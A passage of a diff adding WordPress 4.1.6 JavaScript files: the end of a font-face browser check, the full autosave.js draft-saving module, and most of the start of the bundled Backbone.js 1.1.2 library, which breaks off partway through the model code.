+				/Android (1.0|1.1|1.5|1.6|2.0|2.1)|Nokia|Opera Mini|w(eb)?OSBrowser|webOS|UCWEB|Windows Phone OS 7|XBLWP7|ZuneWP7|MSIE 7/.test( navigator.userAgent ) ) {
+
+				document.body.className += ' no-font-face';
+			}
+		});
+	})(document, window);
+
+}
Index: /tags/4.1.6/src/wp-includes/js/autosave.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/autosave.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/autosave.js	(revision 33402)
@@ -0,0 +1,591 @@
+/* global tinymce, wpCookies, autosaveL10n, switchEditors */
+// Back-compat
+window.autosave = function() {
+	return true;
+};
+
+( function( $, window ) {
+	function autosave() {
+		var initialCompareString,
+		lastTriggerSave = 0,
+		$document = $(document);
+
+		/**
+		 * Returns the data saved in both local and remote autosave
+		 *
+		 * @return object Object containing the post data
+		 */
+		function getPostData( type ) {
+			var post_name, parent_id, data,
+				time = ( new Date() ).getTime(),
+				cats = [],
+				editor = typeof tinymce !== 'undefined' && tinymce.get('content');
+
+			// Don't run editor.save() more often than every 3 sec.
+			// It is resource intensive and might slow down typing in long posts on slow devices.
+			if ( editor && ! editor.isHidden() && time - 3000 > lastTriggerSave ) {
+				editor.save();
+				lastTriggerSave = time;
+			}
+
+			data = {
+				post_id: $( '#post_ID' ).val() || 0,
+				post_type: $( '#post_type' ).val() || '',
+				post_author: $( '#post_author' ).val() || '',
+				post_title: $( '#title' ).val() || '',
+				content: $( '#content' ).val() || '',
+				excerpt: $( '#excerpt' ).val() || ''
+			};
+
+			if ( type === 'local' ) {
+				return data;
+			}
+
+			$( 'input[id^="in-category-"]:checked' ).each( function() {
+				cats.push( this.value );
+			});
+			data.catslist = cats.join(',');
+
+			if ( post_name = $( '#post_name' ).val() ) {
+				data.post_name = post_name;
+			}
+
+			if ( parent_id = $( '#parent_id' ).val() ) {
+				data.parent_id = parent_id;
+			}
+
+			if ( $( '#comment_status' ).prop( 'checked' ) ) {
+				data.comment_status = 'open';
+			}
+
+			if ( $( '#ping_status' ).prop( 'checked' ) ) {
+				data.ping_status = 'open';
+			}
+
+			if ( $( '#auto_draft' ).val() === '1' ) {
+				data.auto_draft = '1';
+			}
+
+			return data;
+		}
+
+		// Concatenate title, content and excerpt. Used to track changes when auto-saving.
+		function getCompareString( postData ) {
+			if ( typeof postData === 'object' ) {
+				return ( postData.post_title || '' ) + '::' + ( postData.content || '' ) + '::' + ( postData.excerpt || '' );
+			}
+
+			return ( $('#title').val() || '' ) + '::' + ( $('#content').val() || '' ) + '::' + ( $('#excerpt').val() || '' );
+		}
+
+		function disableButtons() {
+			$document.trigger('autosave-disable-buttons');
+			// Re-enable 5 sec later. Just gives autosave a head start to avoid collisions.
+			setTimeout( enableButtons, 5000 );
+		}
+
+		function enableButtons() {
+			$document.trigger( 'autosave-enable-buttons' );
+		}
+
+		// Autosave in localStorage
+		function autosaveLocal() {
+			var restorePostData, undoPostData, blog_id, post_id, hasStorage, intervalTimer,
+				lastCompareString,
+				isSuspended = false;
+
+			// Check if the browser supports sessionStorage and it's not disabled
+			function checkStorage() {
+				var test = Math.random().toString(),
+					result = false;
+
+				try {
+					window.sessionStorage.setItem( 'wp-test', test );
+					result = window.sessionStorage.getItem( 'wp-test' ) === test;
+					window.sessionStorage.removeItem( 'wp-test' );
+				} catch(e) {}
+
+				hasStorage = result;
+				return result;
+			}
+
+			/**
+			 * Initialize the local storage
+			 *
+			 * @return mixed False if no sessionStorage in the browser or an Object containing all postData for this blog
+			 */
+			function getStorage() {
+				var stored_obj = false;
+				// Separate local storage containers for each blog_id
+				if ( hasStorage && blog_id ) {
+					stored_obj = sessionStorage.getItem( 'wp-autosave-' + blog_id );
+
+					if ( stored_obj ) {
+						stored_obj = JSON.parse( stored_obj );
+					} else {
+						stored_obj = {};
+					}
+				}
+
+				return stored_obj;
+			}
+
+			/**
+			 * Set the storage for this blog
+			 *
+			 * Confirms that the data was saved successfully.
+			 *
+			 * @return bool
+			 */
+			function setStorage( stored_obj ) {
+				var key;
+
+				if ( hasStorage && blog_id ) {
+					key = 'wp-autosave-' + blog_id;
+					sessionStorage.setItem( key, JSON.stringify( stored_obj ) );
+					return sessionStorage.getItem( key ) !== null;
+				}
+
+				return false;
+			}
+
+			/**
+			 * Get the saved post data for the current post
+			 *
+			 * @return mixed False if no storage or no data or the postData as an Object
+			 */
+			function getSavedPostData() {
+				var stored = getStorage();
+
+				if ( ! stored || ! post_id ) {
+					return false;
+				}
+
+				return stored[ 'post_' + post_id ] || false;
+			}
+
+			/**
+			 * Set (save or delete) post data in the storage.
+			 *
+			 * If stored_data evaluates to 'false' the storage key for the current post will be removed
+			 *
+			 * $param stored_data The post data to store or null/false/empty to delete the key
+			 * @return bool
+			 */
+			function setData( stored_data ) {
+				var stored = getStorage();
+
+				if ( ! stored || ! post_id ) {
+					return false;
+				}
+
+				if ( stored_data ) {
+					stored[ 'post_' + post_id ] = stored_data;
+				} else if ( stored.hasOwnProperty( 'post_' + post_id ) ) {
+					delete stored[ 'post_' + post_id ];
+				} else {
+					return false;
+				}
+
+				return setStorage( stored );
+			}
+
+			function suspend() {
+				isSuspended = true;
+			}
+
+			function resume() {
+				isSuspended = false;
+			}
+
+			/**
+			 * Save post data for the current post
+			 *
+			 * Runs on a 15 sec. interval, saves when there are differences in the post title or content.
+			 * When the optional data is provided, updates the last saved post data.
+			 *
+			 * $param data optional Object The post data for saving, minimum 'post_title' and 'content'
+			 * @return bool
+			 */
+			function save( data ) {
+				var postData, compareString,
+					result = false;
+
+				if ( isSuspended || ! hasStorage ) {
+					return false;
+				}
+
+				if ( data ) {
+					postData = getSavedPostData() || {};
+					$.extend( postData, data );
+				} else {
+					postData = getPostData('local');
+				}
+
+				compareString = getCompareString( postData );
+
+				if ( typeof lastCompareString === 'undefined' ) {
+					lastCompareString = initialCompareString;
+				}
+
+				// If the content, title and excerpt did not change since the last save, don't save again
+				if ( compareString === lastCompareString ) {
+					return false;
+				}
+
+				postData.save_time = ( new Date() ).getTime();
+				postData.status = $( '#post_status' ).val() || '';
+				result = setData( postData );
+
+				if ( result ) {
+					lastCompareString = compareString;
+				}
+
+				return result;
+			}
+
+			// Run on DOM ready
+			function run() {
+				post_id = $('#post_ID').val() || 0;
+
+				// Check if the local post data is different than the loaded post data.
+				if ( $( '#wp-content-wrap' ).hasClass( 'tmce-active' ) ) {
+					// If TinyMCE loads first, check the post 1.5 sec. after it is ready.
+					// By this time the content has been loaded in the editor and 'saved' to the textarea.
+					// This prevents false positives.
+					$document.on( 'tinymce-editor-init.autosave', function() {
+						window.setTimeout( function() {
+							checkPost();
+						}, 1500 );
+					});
+				} else {
+					checkPost();
+				}
+
+				// Save every 15 sec.
+				intervalTimer = window.setInterval( save, 15000 );
+
+				$( 'form#post' ).on( 'submit.autosave-local', function() {
+					var editor = typeof tinymce !== 'undefined' && tinymce.get('content'),
+						post_id = $('#post_ID').val() || 0;
+
+					if ( editor && ! editor.isHidden() ) {
+						// Last onSubmit event in the editor, needs to run after the content has been moved to the textarea.
+						editor.on( 'submit', function() {
+							save({
+								post_title: $( '#title' ).val() || '',
+								content: $( '#content' ).val() || '',
+								excerpt: $( '#excerpt' ).val() || ''
+							});
+						});
+					} else {
+						save({
+							post_title: $( '#title' ).val() || '',
+							content: $( '#content' ).val() || '',
+							excerpt: $( '#excerpt' ).val() || ''
+						});
+					}
+
+					wpCookies.set( 'wp-saving-post', post_id + '-check', 24 * 60 * 60 );
+				});
+			}
+
+			// Strip whitespace and compare two strings
+			function compare( str1, str2 ) {
+				function removeSpaces( string ) {
+					return string.toString().replace(/[\x20\t\r\n\f]+/g, '');
+				}
+
+				return ( removeSpaces( str1 || '' ) === removeSpaces( str2 || '' ) );
+			}
+
+			/**
+			 * Check if the saved data for the current post (if any) is different than the loaded post data on the screen
+			 *
+			 * Shows a standard message letting the user restore the post data if different.
+			 *
+			 * @return void
+			 */
+			function checkPost() {
+				var content, post_title, excerpt, $notice,
+					postData = getSavedPostData(),
+					cookie = wpCookies.get( 'wp-saving-post' );
+
+				if ( cookie === post_id + '-saved' ) {
+					wpCookies.remove( 'wp-saving-post' );
+					// The post was saved properly, remove old data and bail
+					setData( false );
+					return;
+				}
+
+				if ( ! postData ) {
+					return;
+				}
+
+				// There is a newer autosave. Don't show two "restore" notices at the same time.
+				if ( $( '#has-newer-autosave' ).length ) {
+					return;
+				}
+
+				content = $( '#content' ).val() || '';
+				post_title = $( '#title' ).val() || '';
+				excerpt = $( '#excerpt' ).val() || '';
+
+				if ( compare( content, postData.content ) && compare( post_title, postData.post_title ) &&
+					compare( excerpt, postData.excerpt ) ) {
+
+					return;
+				}
+
+				restorePostData = postData;
+				undoPostData = {
+					content: content,
+					post_title: post_title,
+					excerpt: excerpt
+				};
+
+				$notice = $( '#local-storage-notice' );
+				$('.wrap h2').first().after( $notice.addClass( 'notice-warning' ).show() );
+
+				$notice.on( 'click.autosave-local', function( event ) {
+					var $target = $( event.target );
+
+					if ( $target.hasClass( 'restore-backup' ) ) {
+						restorePost( restorePostData );
+						$target.parent().hide();
+						$(this).find( 'p.undo-restore' ).show();
+						$notice.removeClass( 'notice-warning' ).addClass( 'notice-success' );
+					} else if ( $target.hasClass( 'undo-restore-backup' ) ) {
+						restorePost( undoPostData );
+						$target.parent().hide();
+						$(this).find( 'p.local-restore' ).show();
+						$notice.removeClass( 'notice-success' ).addClass( 'notice-warning' );
+					}
+
+					event.preventDefault();
+				});
+			}
+
+			// Restore the current title, content and excerpt from postData.
+			function restorePost( postData ) {
+				var editor;
+
+				if ( postData ) {
+					// Set the last saved data
+					lastCompareString = getCompareString( postData );
+
+					if ( $( '#title' ).val() !== postData.post_title ) {
+						$( '#title' ).focus().val( postData.post_title || '' );
+					}
+
+					$( '#excerpt' ).val( postData.excerpt || '' );
+					editor = typeof tinymce !== 'undefined' && tinymce.get('content');
+
+					if ( editor && ! editor.isHidden() && typeof switchEditors !== 'undefined' ) {
+						// Make sure there's an undo level in the editor
+						editor.undoManager.add();
+						editor.setContent( postData.content ? switchEditors.wpautop( postData.content ) : '' );
+					} else {
+						// Make sure the Text editor is selected
+						$( '#content-html' ).click();
+						$( '#content' ).val( postData.content );
+					}
+
+					return true;
+				}
+
+				return false;
+			}
+
+			blog_id = typeof window.autosaveL10n !== 'undefined' && window.autosaveL10n.blog_id;
+
+			// Check if the browser supports sessionStorage and it's not disabled,
+			// then initialize and run checkPost().
+			// Don't run if the post type supports neither 'editor' (textarea#content) nor 'excerpt'.
+			if ( checkStorage() && blog_id && ( $('#content').length || $('#excerpt').length ) ) {
+				$document.ready( run );
+			}
+
+			return {
+				hasStorage: hasStorage,
+				getSavedPostData: getSavedPostData,
+				save: save,
+				suspend: suspend,
+				resume: resume
+			};
+		}
+
+		// Autosave on the server
+		function autosaveServer() {
+			var _blockSave, _blockSaveTimer, previousCompareString, lastCompareString,
+				nextRun = 0,
+				isSuspended = false;
+
+			// Block saving for the next 10 sec.
+			function tempBlockSave() {
+				_blockSave = true;
+				window.clearTimeout( _blockSaveTimer );
+
+				_blockSaveTimer = window.setTimeout( function() {
+					_blockSave = false;
+				}, 10000 );
+			}
+
+			function suspend() {
+				isSuspended = true;
+			}
+
+			function resume() {
+				isSuspended = false;
+			}
+
+			// Runs on heartbeat-response
+			function response( data ) {
+				_schedule();
+				_blockSave = false;
+				lastCompareString = previousCompareString;
+				previousCompareString = '';
+
+				$document.trigger( 'after-autosave', [data] );
+				enableButtons();
+
+				if ( data.success ) {
+					// No longer an auto-draft
+					$( '#auto_draft' ).val('');
+				}
+			}
+
+			/**
+			 * Save immediately
+			 *
+			 * Resets the timing and tells heartbeat to connect now
+			 *
+			 * @return void
+			 */
+			function triggerSave() {
+				nextRun = 0;
+				wp.heartbeat.connectNow();
+			}
+
+			/**
+			 * Checks if the post content in the textarea has changed since page load.
+			 *
+			 * This also happens when TinyMCE is active and editor.save() is triggered by
+			 * wp.autosave.getPostData().
+			 *
+			 * @return bool
+			 */
+			function postChanged() {
+				return getCompareString() !== initialCompareString;
+			}
+
+			// Runs on 'heartbeat-send'
+			function save() {
+				var postData, compareString;
+
+				// window.autosave() used for back-compat
+				if ( isSuspended || _blockSave || ! window.autosave() ) {
+					return false;
+				}
+
+				if ( ( new Date() ).getTime() < nextRun ) {
+					return false;
+				}
+
+				postData = getPostData();
+				compareString = getCompareString( postData );
+
+				// First check
+				if ( typeof lastCompareString === 'undefined' ) {
+					lastCompareString = initialCompareString;
+				}
+
+				// No change
+				if ( compareString === lastCompareString ) {
+					return false;
+				}
+
+				previousCompareString = compareString;
+				tempBlockSave();
+				disableButtons();
+
+				$document.trigger( 'wpcountwords', [ postData.content ] )
+					.trigger( 'before-autosave', [ postData ] );
+
+				postData._wpnonce = $( '#_wpnonce' ).val() || '';
+
+				return postData;
+			}
+
+			function _schedule() {
+				nextRun = ( new Date() ).getTime() + ( autosaveL10n.autosaveInterval * 1000 ) || 60000;
+			}
+
+			$document.on( 'heartbeat-send.autosave', function( event, data ) {
+				var autosaveData = save();
+
+				if ( autosaveData ) {
+					data.wp_autosave = autosaveData;
+				}
+			}).on( 'heartbeat-tick.autosave', function( event, data ) {
+				if ( data.wp_autosave ) {
+					response( data.wp_autosave );
+				}
+			}).on( 'heartbeat-connection-lost.autosave', function( event, error, status ) {
+				// When connection is lost, keep user from submitting changes.
+				if ( 'timeout' === error || 603 === status ) {
+					var $notice = $('#lost-connection-notice');
+
+					if ( ! wp.autosave.local.hasStorage ) {
+						$notice.find('.hide-if-no-sessionstorage').hide();
+					}
+
+					$notice.show();
+					disableButtons();
+				}
+			}).on( 'heartbeat-connection-restored.autosave', function() {
+				$('#lost-connection-notice').hide();
+				enableButtons();
+			}).ready( function() {
+				_schedule();
+			});
+
+			return {
+				tempBlockSave: tempBlockSave,
+				triggerSave: triggerSave,
+				postChanged: postChanged,
+				suspend: suspend,
+				resume: resume
+			};
+		}
+
+		// Wait for TinyMCE to initialize plus 1 sec. for any external css to finish loading,
+		// then 'save' to the textarea before setting initialCompareString.
+		// This avoids any insignificant differences between the initial textarea content and the content
+		// extracted from the editor.
+		$document.on( 'tinymce-editor-init.autosave', function( event, editor ) {
+			if ( editor.id === 'content' ) {
+				window.setTimeout( function() {
+					editor.save();
+					initialCompareString = getCompareString();
+				}, 1000 );
+			}
+		}).ready( function() {
+			// Set the initial compare string in case TinyMCE is not used or not loaded first
+			initialCompareString = getCompareString();
+		});
+
+		return {
+			getPostData: getPostData,
+			getCompareString: getCompareString,
+			disableButtons: disableButtons,
+			enableButtons: enableButtons,
+			local: autosaveLocal(),
+			server: autosaveServer()
+		};
+	}
+
+	window.wp = window.wp || {};
+	window.wp.autosave = autosave();
+
+}( jQuery, window ));
Index: /tags/4.1.6/src/wp-includes/js/backbone.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/backbone.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/backbone.js	(revision 33402)
@@ -0,0 +1,1608 @@
+//     Backbone.js 1.1.2
+
+//     (c) 2010-2014 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors
+//     Backbone may be freely distributed under the MIT license.
+//     For all details and documentation:
+//     http://backbonejs.org
+
+(function(root, factory) {
+
+  // Set up Backbone appropriately for the environment. Start with AMD.
+  if (typeof define === 'function' && define.amd) {
+    define(['underscore', 'jquery', 'exports'], function(_, $, exports) {
+      // Export global even in AMD case in case this script is loaded with
+      // others that may still expect a global Backbone.
+      root.Backbone = factory(root, exports, _, $);
+    });
+
+  // Next for Node.js or CommonJS. jQuery may not be needed as a module.
+  } else if (typeof exports !== 'undefined') {
+    var _ = require('underscore');
+    factory(root, exports, _);
+
+  // Finally, as a browser global.
+  } else {
+    root.Backbone = factory(root, {}, root._, (root.jQuery || root.Zepto || root.ender || root.$));
+  }
+
+}(this, function(root, Backbone, _, $) {
+
+  // Initial Setup
+  // -------------
+
+  // Save the previous value of the `Backbone` variable, so that it can be
+  // restored later on, if `noConflict` is used.
+  var previousBackbone = root.Backbone;
+
+  // Create local references to array methods we'll want to use later.
+  var array = [];
+  var push = array.push;
+  var slice = array.slice;
+  var splice = array.splice;
+
+  // Current version of the library. Keep in sync with `package.json`.
+  Backbone.VERSION = '1.1.2';
+
+  // For Backbone's purposes, jQuery, Zepto, Ender, or My Library (kidding) owns
+  // the `$` variable.
+  Backbone.$ = $;
+
+  // Runs Backbone.js in *noConflict* mode, returning the `Backbone` variable
+  // to its previous owner. Returns a reference to this Backbone object.
+  Backbone.noConflict = function() {
+    root.Backbone = previousBackbone;
+    return this;
+  };
+
+  // Turn on `emulateHTTP` to support legacy HTTP servers. Setting this option
+  // will fake `"PATCH"`, `"PUT"` and `"DELETE"` requests via the `_method` parameter and
+  // set a `X-Http-Method-Override` header.
+  Backbone.emulateHTTP = false;
+
+  // Turn on `emulateJSON` to support legacy servers that can't deal with direct
+  // `application/json` requests ... will encode the body as
+  // `application/x-www-form-urlencoded` instead and will send the model in a
+  // form param named `model`.
+  Backbone.emulateJSON = false;
+
+  // Backbone.Events
+  // ---------------
+
+  // A module that can be mixed in to *any object* in order to provide it with
+  // custom events. You may bind with `on` or remove with `off` callback
+  // functions to an event; `trigger`-ing an event fires all callbacks in
+  // succession.
+  //
+  //     var object = {};
+  //     _.extend(object, Backbone.Events);
+  //     object.on('expand', function(){ alert('expanded'); });
+  //     object.trigger('expand');
+  //
+  var Events = Backbone.Events = {
+
+    // Bind an event to a `callback` function. Passing `"all"` will bind
+    // the callback to all events fired.
+    on: function(name, callback, context) {
+      if (!eventsApi(this, 'on', name, [callback, context]) || !callback) return this;
+      this._events || (this._events = {});
+      var events = this._events[name] || (this._events[name] = []);
+      events.push({callback: callback, context: context, ctx: context || this});
+      return this;
+    },
+
+    // Bind an event to only be triggered a single time. After the first time
+    // the callback is invoked, it will be removed.
+    once: function(name, callback, context) {
+      if (!eventsApi(this, 'once', name, [callback, context]) || !callback) return this;
+      var self = this;
+      var once = _.once(function() {
+        self.off(name, once);
+        callback.apply(this, arguments);
+      });
+      once._callback = callback;
+      return this.on(name, once, context);
+    },
+
+    // Remove one or many callbacks. If `context` is null, removes all
+    // callbacks with that function. If `callback` is null, removes all
+    // callbacks for the event. If `name` is null, removes all bound
+    // callbacks for all events.
+    off: function(name, callback, context) {
+      var retain, ev, events, names, i, l, j, k;
+      if (!this._events || !eventsApi(this, 'off', name, [callback, context])) return this;
+      if (!name && !callback && !context) {
+        this._events = void 0;
+        return this;
+      }
+      names = name ? [name] : _.keys(this._events);
+      for (i = 0, l = names.length; i < l; i++) {
+        name = names[i];
+        if (events = this._events[name]) {
+          this._events[name] = retain = [];
+          if (callback || context) {
+            for (j = 0, k = events.length; j < k; j++) {
+              ev = events[j];
+              if ((callback && callback !== ev.callback && callback !== ev.callback._callback) ||
+                  (context && context !== ev.context)) {
+                retain.push(ev);
+              }
+            }
+          }
+          if (!retain.length) delete this._events[name];
+        }
+      }
+
+      return this;
+    },
+
+    // Trigger one or many events, firing all bound callbacks. Callbacks are
+    // passed the same arguments as `trigger` is, apart from the event name
+    // (unless you're listening on `"all"`, which will cause your callback to
+    // receive the true name of the event as the first argument).
+    trigger: function(name) {
+      if (!this._events) return this;
+      var args = slice.call(arguments, 1);
+      if (!eventsApi(this, 'trigger', name, args)) return this;
+      var events = this._events[name];
+      var allEvents = this._events.all;
+      if (events) triggerEvents(events, args);
+      if (allEvents) triggerEvents(allEvents, arguments);
+      return this;
+    },
+
+    // Tell this object to stop listening to either specific events ... or
+    // to every object it's currently listening to.
+    stopListening: function(obj, name, callback) {
+      var listeningTo = this._listeningTo;
+      if (!listeningTo) return this;
+      var remove = !name && !callback;
+      if (!callback && typeof name === 'object') callback = this;
+      if (obj) (listeningTo = {})[obj._listenId] = obj;
+      for (var id in listeningTo) {
+        obj = listeningTo[id];
+        obj.off(name, callback, this);
+        if (remove || _.isEmpty(obj._events)) delete this._listeningTo[id];
+      }
+      return this;
+    }
+
+  };
+
+  // Regular expression used to split event strings.
+  var eventSplitter = /\s+/;
+
+  // Implement fancy features of the Events API such as multiple event
+  // names `"change blur"` and jQuery-style event maps `{change: action}`
+  // in terms of the existing API.
+  var eventsApi = function(obj, action, name, rest) {
+    if (!name) return true;
+
+    // Handle event maps.
+    if (typeof name === 'object') {
+      for (var key in name) {
+        obj[action].apply(obj, [key, name[key]].concat(rest));
+      }
+      return false;
+    }
+
+    // Handle space separated event names.
+    if (eventSplitter.test(name)) {
+      var names = name.split(eventSplitter);
+      for (var i = 0, l = names.length; i < l; i++) {
+        obj[action].apply(obj, [names[i]].concat(rest));
+      }
+      return false;
+    }
+
+    return true;
+  };
+
+  // A difficult-to-believe, but optimized internal dispatch function for
+  // triggering events. Tries to keep the usual cases speedy (most internal
+  // Backbone events have 3 arguments).
+  var triggerEvents = function(events, args) {
+    var ev, i = -1, l = events.length, a1 = args[0], a2 = args[1], a3 = args[2];
+    switch (args.length) {
+      case 0: while (++i < l) (ev = events[i]).callback.call(ev.ctx); return;
+      case 1: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1); return;
+      case 2: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1, a2); return;
+      case 3: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1, a2, a3); return;
+      default: while (++i < l) (ev = events[i]).callback.apply(ev.ctx, args); return;
+    }
+  };
+
+  var listenMethods = {listenTo: 'on', listenToOnce: 'once'};
+
+  // Inversion-of-control versions of `on` and `once`. Tell *this* object to
+  // listen to an event in another object ... keeping track of what it's
+  // listening to.
+  _.each(listenMethods, function(implementation, method) {
+    Events[method] = function(obj, name, callback) {
+      var listeningTo = this._listeningTo || (this._listeningTo = {});
+      var id = obj._listenId || (obj._listenId = _.uniqueId('l'));
+      listeningTo[id] = obj;
+      if (!callback && typeof name === 'object') callback = this;
+      obj[implementation](name, callback, this);
+      return this;
+    };
+  });
+
+  // Aliases for backwards compatibility.
+  Events.bind   = Events.on;
+  Events.unbind = Events.off;
+
+  // Allow the `Backbone` object to serve as a global event bus, for folks who
+  // want global "pubsub" in a convenient place.
+  _.extend(Backbone, Events);
+
+  // Backbone.Model
+  // --------------
+
+  // Backbone **Models** are the basic data object in the framework --
+  // frequently representing a row in a table in a database on your server.
+  // A discrete chunk of data and a bunch of useful, related methods for
+  // performing computations and transformations on that data.
+
+  // Create a new model with the specified attributes. A client id (`cid`)
+  // is automatically generated and assigned for you.
+  var Model = Backbone.Model = function(attributes, options) {
+    var attrs = attributes || {};
+    options || (options = {});
+    this.cid = _.uniqueId('c');
+    this.attributes = {};
+    if (options.collection) this.collection = options.collection;
+    if (options.parse) attrs = this.parse(attrs, options) || {};
+    attrs = _.defaults({}, attrs, _.result(this, 'defaults'));
+    this.set(attrs, options);
+    this.changed = {};
+    this.initialize.apply(this, arguments);
+  };
+
+  // Attach all inheritable methods to the Model prototype.
+  _.extend(Model.prototype, Events, {
+
+    // A hash of attributes whose current and previous value differ.
+    changed: null,
+
+    // The value returned during the last failed validation.
+    validationError: null,
+
+    // The default name for the JSON `id` attribute is `"id"`. MongoDB and
+    // CouchDB users may want to set this to `"_id"`.
+    idAttribute: 'id',
+
+    // Initialize is an empty function by default. Override it with your own
+    // initialization logic.
+    initialize: function(){},
+
+    // Return a copy of the model's `attributes` object.
+    toJSON: function(options) {
+      return _.clone(this.attributes);
+    },
+
+    // Proxy `Backbone.sync` by default -- but override this if you need
+    // custom syncing semantics for *this* particular model.
+    sync: function() {
+      return Backbone.sync.apply(this, arguments);
+    },
+
+    // Get the value of an attribute.
+    get: function(attr) {
+      return this.attributes[attr];
+    },
+
+    // Get the HTML-escaped value of an attribute.
+    escape: function(attr) {
+      return _.escape(this.get(attr));
+    },
+
+    // Returns `true` if the attribute contains a value that is not null
+    // or undefined.
+    has: function(attr) {
+      return this.get(attr) != null;
+    },
+
+    // Set a hash of model attributes on the object, firing `"change"`. This is
+    // the core primitive operation of a model, updating the data and notifying
+    // anyone who needs to know about the change in state. The heart of the beast.
+    set: function(key, val, options) {
+      var attr, attrs, unset, changes, silent, changing, prev, current;
+      if (key == null) return this;
+
+      // Handle both `"key", value` and `{key: value}` -style arguments.
+      if (typeof key === 'object') {
+        attrs = key;
+        options = val;
+      } else {
+        (attrs = {})[key] = val;
+      }
+
+      options || (options = {});
+
+      // Run validation.
+      if (!this._validate(attrs, options)) return false;
+
+      // Extract attributes and options.
+      unset           = options.unset;
+      silent          = options.silent;
+      changes         = [];
+      changing        = this._changing;
+      this._changing  = true;
+
+      if (!changing) {
+        this._previousAttributes = _.clone(this.attributes);
+        this.changed = {};
+      }
+      current = this.attributes, prev = this._previousAttributes;
+
+      // Check for changes of `id`.
+      if (this.idAttribute in attrs) this.id = attrs[this.idAttribute];
+
+      // For each `set` attribute, update or delete the current value.
+      for (attr in attrs) {
+        val = attrs[attr];
+        if (!_.isEqual(current[attr], val)) changes.push(attr);
+        if (!_.isEqual(prev[attr], val)) {
+          this.changed[attr] = val;
+        } else {
+          delete this.changed[attr];
+        }
+        unset ? delete current[attr] : current[attr] = val;
+      }
+
+      // Trigger all relevant attribute changes.
+      if (!silent) {
+        if (changes.length) this._pending = options;
+        for (var i = 0, l = changes.length; i < l; i++) {
+          this.trigger('change:' + changes[i], this, current[changes[i]], options);
+        }
+      }
+
+      // You might be wondering why there's a `while` loop here. Changes can
+      // be recursively nested within `"change"` events.
+      if (changing) return this;
+      if (!silent) {
+        while (this._pending) {
+          options = this._pending;
+          this._pending = false;
+          this.trigger('change', this, options);
+        }
+      }
+      this._pending = false;
+      this._changing = false;
+      return this;
+    },
+
+    // Remove an attribute from the model, firing `"change"`. `unset` is a noop
+    // if the attribute doesn't exist.
+    unset: function(attr, options) {
+      return this.set(attr, void 0, _.extend({}, options, {unset: true}));
+    },
+
+    // Clear all attributes on the model, firing `"change"`.
+    clear: function(options) {
+      var attrs = {};
+      for (var key in this.attributes) attrs[key] = void 0;
+      return this.set(attrs, _.extend({}, options, {unset: true}));
+    },
+
+    // Determine if the model has changed since the last `"change"` event.
+    // If you specify an attribute name, determine if that attribute has changed.
+    hasChanged: function(attr) {
+      if (attr == null) return !_.isEmpty(this.changed);
+      return _.has(this.changed, attr);
+    },
+
+    // Return an object containing all the attributes that have changed, or
+    // false if there are no changed attributes. Useful for determining what
+    // parts of a view need to be updated and/or what attributes need to be
+    // persisted to the server. Unset attributes will be set to undefined.
+    // You can also pass an attributes object to diff against the model,
+    // determining if there *would be* a change.
+    changedAttributes: function(diff) {
+      if (!diff) return this.hasChanged() ? _.clone(this.changed) : false;
+      var val, changed = false;
+      var old = this._changing ? this._previousAttributes : this.attributes;
+      for (var attr in diff) {
+        if (_.isEqual(old[attr], (val = diff[attr]))) continue;
+        (changed || (changed = {}))[attr] = val;
+      }
+      return changed;
+    },
+
+    // Get the previous value of an attribute, recorded at the time the last
+    // `"change"` event was fired.
+    previous: function(attr) {
+      if (attr == null || !this._previousAttributes) return null;
+      return this._previousAttributes[attr];
+    },
+
+    // Get all of the attributes of the model at the time of the previous
+    // `"change"` event.
+    previousAttributes: function() {
+      return _.clone(this._previousAttributes);
+    },
+
+    // Fetch the model from the server. If the server's representation of the
+    // model differs from its current attributes, they will be overridden,
+    // triggering a `"change"` event.
+    fetch: function(options) {
+      options = options ? _.clone(options) : {};
+      if (options.parse === void 0) options.parse = true;
+      var model = this;
+      var success = options.success;
+      options.success = function(resp) {
+        if (!model.set(model.parse(resp, options), options)) return false;
+        if (success) success(model, resp, options);
+        model.trigger('sync', model, resp, options);
+      };
+      wrapError(this, options);
+      return this.sync('read', this, options);
+    },
+
+    // Set a hash of model attributes, and sync the model to the server.
+    // If the server returns an attributes hash that differs, the model's
+    // state will be `set` again.
+    save: function(key, val, options) {
+      var attrs, method, xhr, attributes = this.attributes;
+
+      // Handle both `"key", value` and `{key: value}` -style arguments.
+      if (key == null || typeof key === 'object') {
+        attrs = key;
+        options = val;
+      } else {
+        (attrs = {})[key] = val;
+      }
+
+      options = _.extend({validate: true}, options);
+
+      // If we're not waiting and attributes exist, save acts as
+      // `set(attr).save(null, opts)` with validation. Otherwise, check if
+      // the model will be valid when the attributes, if any, are set.
+      if (attrs && !options.wait) {
+        if (!this.set(attrs, options)) return false;
+      } else {
+        if (!this._validate(attrs, options)) return false;
+      }
+
+      // Set temporary attributes if `{wait: true}`.
+      if (attrs && options.wait) {
+        this.attributes = _.extend({}, attributes, attrs);
+      }
+
+      // After a successful server-side save, the client is (optionally)
+      // updated with the server-side state.
+      if (options.parse === void 0) options.parse = true;
+      var model = this;
+      var success = options.success;
+      options.success = function(resp) {
+        // Ensure attributes are restored during synchronous saves.
+        model.attributes = attributes;
+        var serverAttrs = model.parse(resp, options);
+        if (options.wait) serverAttrs = _.extend(attrs || {}, serverAttrs);
+        if (_.isObject(serverAttrs) && !model.set(serverAttrs, options)) {
+          return false;
+        }
+        if (success) success(model, resp, options);
+        model.trigger('sync', model, resp, options);
+      };
+      wrapError(this, options);
+
+      method = this.isNew() ? 'create' : (options.patch ? 'patch' : 'update');
+      if (method === 'patch') options.attrs = attrs;
+      xhr = this.sync(method, this, options);
+
+      // Restore attributes.
+      if (attrs && options.wait) this.attributes = attributes;
+
+      return xhr;
+    },
+
+    // Destroy this model on the server if it was already persisted.
+    // Optimistically removes the model from its collection, if it has one.
+    // If `wait: true` is passed, waits for the server to respond before removal.
+    destroy: function(options) {
+      options = options ? _.clone(options) : {};
+      var model = this;
+      var success = options.success;
+
+      var destroy = function() {
+        model.trigger('destroy', model, model.collection, options);
+      };
+
+      options.success = function(resp) {
+        if (options.wait || model.isNew()) destroy();
+        if (success) success(model, resp, options);
+        if (!model.isNew()) model.trigger('sync', model, resp, options);
